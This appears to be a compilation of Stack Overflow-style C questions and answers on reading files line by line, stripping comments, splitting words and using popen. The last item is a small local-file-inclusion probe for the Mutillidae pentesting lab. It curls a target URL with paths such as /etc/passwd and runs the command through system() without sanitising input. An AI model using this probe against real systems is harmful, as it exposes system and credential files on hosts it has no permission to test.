file1
:once:echo Hello # this is a comment
:once:echo 1
:once:echo 2
:once:echo 3
:once:echo 4
Consider the file above, If I wanted to print out each line one by one how would I remove the "# this is a comment" and ':once:'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
FILE *file = fopen(argv[1], "r");
char buf[100];
char p;
while (fgets(buf, sizeof(buf), file)) {
if ((p = strchr(buf, '#')))
*p = '\0';
printf("%s\n", buf);
}
fclose(file);
}
I think I can use strchr to remove the comments but unsure how to go about this.
I want the output to be this
$ gcc -Wall a.c
$ ./a.out file1
echo Hello
echo 1
echo 2
echo 3
echo 4
Current output:
:once:echo Hello # This is a comment
:once:echo 1
:once:echo 2
:once:echo 3
:once:echo 4
Unsure why the extra space is there. I think I have the right approach with the strchr just unsure how to use.
You should change char p; to char *p;, otherwise this is not going to work at all. If you're looking for :once: only at the start of a line, you can use strncmp() to check the first six characters, and offset the start of the string if necessary.
Also, since fgets() retains line break characters, you may as well add \n and \0 when you encounter a # symbol, and then leave out the \n when printing each line. That way your output won't be filled with double line breaks.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
FILE *file = fopen(argv[1], "r");
char buf[100];
char *p;
while (fgets(buf, sizeof(buf), file)) {
if ((p = strchr(buf, '#'))) {
*(p++) = '\n';
*p = '\0';
}
printf("%s", buf + (strncmp(buf, ":once:", 6) == 0 ? 6 : 0));
}
fclose(file);
}
This should work for you. I added a nested for inside of the while, to loop through buf and check for the '#' hash character. You should always be sure to check if the necessary file exists or not, instead of assuming that it does.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
FILE *file;
if (!(file = fopen(argv[1], "r"))) {
fprintf(stderr, "The specified file does not exist\n");
return 1;
}
char buf[100];
int x;
while (fgets(buf, sizeof(buf), file)) {
for (x = 0; x < sizeof(buf); x++) {
if (buf[x] == '#')
buf[x] = '\0';
}
if (strncmp(buf, ":once:", 6) == 0)
printf("%s\n", buf + 6);
else
printf("%s\n", buf);
}
fclose(file);
return 0;
}
Related
This question already has answers here:
How should character arrays be used as strings?
(4 answers)
Closed 12 months ago.
I have a file with an unknown number of strings and each of these strings is of an unknown length.
I would like to make each line of the file its own string in an array of strings.
I tried to use dynamic allocation in a char** array, but I don't think I'm approaching this correctly.
Below is the code I have tried. It's getting stuck in an infinite loop, and I can't figure out why.
(The text file I'm reading from ends with a line break, by the way.)
#include <getopt.h> //for getopts
#include <sys/stat.h> //to do file stat
#include <dirent.h>
#include <string.h>
#include <pwd.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h> //user macros
#include <stdlib.h>
#include <stdbool.h>
#include <libgen.h>
#include <errno.h>
int main(int argc, char *argv[]) {
//storing the filename inside string
char* filename = argv[1];
FILE *fp1 = fopen(filename, "r");
if (fp1 == NULL) {
fprintf(stderr, "Error: Cannot open '%s'. No such file or directory.\n", filename);
return EXIT_FAILURE;
}
/**
* we begin by getting the number of numbers in the file
* the number of numbers = number of lines = number of line breaks
*/
size_t numNumbers = 0;
// while((fscanf(fp1, "%*[^\n]"), fscanf(fp1, "%*c")) != EOF){
// numNumbers = numNumbers + 1;
// }
char c;
while((c = fgetc(fp1)) != EOF){
if(c == '\n'){
numNumbers++;
}
}
fclose(fp1);
FILE *fp2 = fopen(filename, "r");
char** arrayOfStrings = malloc(numNumbers * sizeof(char*));
for(int i = 0; i < numNumbers; i++) {
int len = 0;
if(((c = fgetc(fp1)) != '\n') && (c != EOF)){
len++;
}
arrayOfStrings[i] = malloc(len * sizeof(char));
}
printf("hello1\n");
//for(int i = 0; i < numNumbers; i++){
// fscanf(fp2, "%s", (arrayOfStrings[i]));
//}
fclose(fp2);
// for(int i = 0; i < numNumbers; i++){
// fprintf(stdout, "%s", arrayOfStrings[i]);
// }
return 0;
}
(I'm very new to C, so please go easy on me!)
In C, strings are terminated with a '0' byte, so it looks like your malloc for each string is 1 character too short -- you've only allowed space for the text.
In addition, you mean the count for the size of each line to be a while loop, not an if statement - right now you are counting each line as length "1".
Finally, you are reading off the end of the file in your commented out fscanf code because you haven't closed and reopened it.
Assuming you want to split the input to the strings by the newline character, would you please try:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *filename; // filename to read
char **arrayOfStrings = NULL; // array of strings
char line[BUFSIZ]; // line buffer while reading
char *p; // temporal pointer to the input line
int i, num; // counter for lines
FILE *fp; // file pointer to read
if (argc != 2) {
fprintf(stderr, "usage: %s file.txt\n", argv[0]);
return EXIT_FAILURE;
}
filename = argv[1];
if (NULL == (fp = fopen(filename, "r"))) {
perror(filename);
return EXIT_FAILURE;
}
// read the input file line by line
while (fgets(line, BUFSIZ, fp)) {
if ((p = strrchr(line, '\n'))) *p = '\0'; // remove trailing newline, if any
if ((p = strrchr(line, '\r'))) *p = '\0'; // remove trailing cr character, if any
if (NULL == (arrayOfStrings = realloc(arrayOfStrings, (num + 1) * sizeof(char **)))) {
// enlarge the array according to the line count
perror("realloc");
return EXIT_FAILURE;
}
if (NULL == (arrayOfStrings[num] = malloc(strlen(line) + 1))) {
// memory for the string of the line
perror("malloc");
return EXIT_FAILURE;
}
strcpy(arrayOfStrings[num], line);
num++;
}
// print the strings in the array
for (i = 0; i < num; i++) {
printf("%d %s\n", i, arrayOfStrings[i]);
}
fclose(fp);
return 0;
}
If the input file looks something like:
This
is
the
input.
Then the output will be:
0 This
1 is
2 the
3 input.
I don't understand the behaviour of using printf() after popen(). I have a folder with these 3 files:
middle.txt
test.app
test.c
test.c is the source code of test.app:
test.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
FILE *fpipe;
char *command = "ls";
char c = 0;
char output[1000];
fpipe = popen(command, "r");
if (fpipe == 0)
{
perror("popen() error");
exit(1);
}
while (fread(&c, sizeof c, 1, fpipe))
{
strncat(output, &c, 1);
}
pclose(fpipe);
char *position;
char result[9];
position = strstr(output, "test.app");
if (position != NULL)
{
memcpy(result, position + 8, sizeof(result));
fflush(stdout);
printf("Output string: %s", result);
fflush(stdout);
}
return 0;
}
When I run test.app I obtain this ouput:
Output string: test.app test.c
Why not this?
Output string:
test.app
EDIT
Using suggestions from the comments I modified 3 lines (position + 8 is a mistake from my original source code) with these:
char output[1000] = {0};
char result[9] = {0};
memcpy(result, position, sizeof(result));
but now this is the output:
Output string: test.app
middle.txt
test.app
test.c
I modified 3 lines (by opening post) with these:
char output[1000] = {0};
char result[9] = {0};
memcpy(result, position, sizeof(result) - 1);
and now this is the output:
Output string: test.app
1 Byte presents in output was responsible of this strange behaviour. We have to pay attention with the copied size, printed buffer must be a null-terminated string
I want to put each of this words in a array.
And here is the code.
And here is the output
From what i can understand each time i have a new line the first word of the array is replaced by the fisrt word of the next line of the file, but i dont understand why.
I ditnt show here but after the new line all the other positions are all wrong.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define MAX_LINE_LEN 256
void usage (const char *prog) {
fprintf (stderr, "Usage (words): %s [file_path]\n", prog);
exit (1);
}
void split_print_words (const char *filename) {
FILE *fd = stdin; // By default will read from stdin
if (filename != NULL && strcmp (filename, "-") != 0) {
// A file name was given, let's open it to read from there
fd = fopen (filename, "r");
assert (fd != NULL);
}
char buffer[MAX_LINE_LEN];
while(fgets(buffer, sizeof(buffer), fd != NULL)) {
char *token;
token = strtok(buffer, " \n");
while(token!=NULL) {
write(1, token, strlen(token));
write(1, "\n", 1);
token = strtok(NULL, " \n");
}
}
}
int main (int argc, char *argv[]) {
// Check there is one and only one argument
if (argc < 1 || argc > 2) {
usage (argv[0]);
}
split_print_words (argv[1]);
exit (0);
}
Try this (read the comments):
#include <stdio.h>
#include <string.h>
#define MAX_LINE_LEN 256
#define WORDS_N 10
int main(void)
{
FILE* fp;
// Open the file and check if it was opened
fp = fopen("myfile.txt", "r");
if (fp == NULL) {
perror("Failed: ");
return 1;
}
// Temporary buffer that will store one line of the file at a time
char buffer[MAX_LINE_LEN];
// NULL-initialized 2D array of size 'WORDS_N' x 'MAX_LINE_LEN'
char words[WORDS_N][MAX_LINE_LEN] = {0};
// Count how many words we actually read from the file
int count = 0;
// To be used by 'strtok()'
char* pch;
// Read file line by line
while (fgets(buffer, MAX_LINE_LEN, fp))
{
// Remove trailing newline
buffer[strcspn(buffer, "\n")] = 0;
//printf("%s\n", buffer);
// Split line by whitespace
pch = strtok(buffer, " ");
// For each token in the split line
while (pch != NULL)
{
// If the array has available space
if(count < WORDS_N)
// Put the current token into the array
strcpy(words[count++], pch);
//printf ("%s\n", pch);
// Proceed to next token
pch = strtok(NULL, " ");
}
}
// Print array
for (int i = 0; i < count; ++i)
printf("%s\n", words[i]);
// Close file
fclose(fp);
return 0;
}
Input (myfile.txt):
This is a
test and is
not working!
Output:
This
is
a
test
and
is
not
working!
As pointed out in the comments, You should replace this:
while(fgets(buffer, sizeof(buffer), fd != NULL)) {
with this:
while((fgets(buffer, sizeof(buffer), fd)) != NULL) {
I'm not sure how you've set up your compiler. I clearly got a warning from gcc when I compiled your code:
arrayreplace.c: In function ‘split_print_words’:
arrayreplace.c:27:48: warning: passing argument 3 of ‘fgets’ makes pointer from integer without a cast [-Wint-conversion]
27 | while(fgets(buffer, sizeof(buffer), fd != NULL)) {
| ^
| |
| int
In file included from arrayreplace.c:3:
/usr/include/stdio.h:564:69: note: expected ‘FILE * restrict’ but argument is of type ‘int’
564 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
| ~~~~~~~~~~~~~~~~~^~~~~~~~
After making this change, I was able to see all words being parsed from file:
src : $ cat wordsarr.txt
This ia a
test and is
not working
src : $ ./a.out wordsarr.txt
This
ia
a
test
and
is
not
working
Have a problem to read in a file in c. Have been searching online since I'm a beginner in programming but still I have a problem with the output of my file.
int main( int argc, char *argv[]){
FILE *in;
int chr;
if(in = fopen("airmap1.map", "r")) == NULL){
printf("Could not open file\n");
exit(1);
while(fgets(row, sizeof(row),in) !=NULL){
if (*row == '#') //next row
continue;
fscanf(in, "%*[^\n]s , %[]s", row);
}
}
The file I want to read in is looking like this:
#animals at the zoo
cat dog #cat-dog
fish frog #fish-frog
I want to ignore comments after this sign #, but my problem is that my code only ignore the first word after #. But right now it gives me this output:
cat frog
dog fish
How can i solve this problem? I would like to have the output this form instead:
cat dog
fish frog
You could use a function that checks for any "#" in every line of the file, and then copy it in another string.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define commentSign '#'
#define bufferLength 255
int findPosOfChar(char * buffer, char charToFind, int length)
{
int i;
for(i = 0 ; i < length ; i++)
{
if(buffer[i] == charToFind)
return i;
}
return 0;
}
int main( int argc, char *argv[]){
FILE* filePointer = fopen("test", "r");
char buffer[bufferLength];
char *p = malloc(sizeof(char) * 255);
int commentPos;
while(fgets(buffer, bufferLength, filePointer)) {
commentPos = findPosOfChar(buffer, (char)commentSign, bufferLength);
memcpy(p, buffer, commentPos);
p[commentPos] = '\0';
printf("%s\n", p);
}
fclose(filePointer);
}
This is a pentesting laboratory environment called "Mutillidae".
This program grabs argv[1] and places into command "curl <[argv[1]>",
then it grabs a line from lfi_test file and places it into second
%s in sprintf(). This program executes %100, I am just having issues with the format( | grep root). Instead, the entire source code is revealed including the entire /etc/passwd file.
If I uncomment line #20:
int passwd = "/etc/passwd";
and change line #27 to
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
I am able to get the formatted result I want.
If anyone can help me out, thank you in advance.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
The reason line-1 wasn't working in..
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
was due to line(/etc/passwd\n) from file was being cut by 1 and
it didn't allow char *root variable to be implemented into string format.
The function strtok() breaks line into a series of tokens using a delimiter. I was then able to parse "/etc/passwd\n" to "/etc/passwd" BEFORE sprintf().
Thanks DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}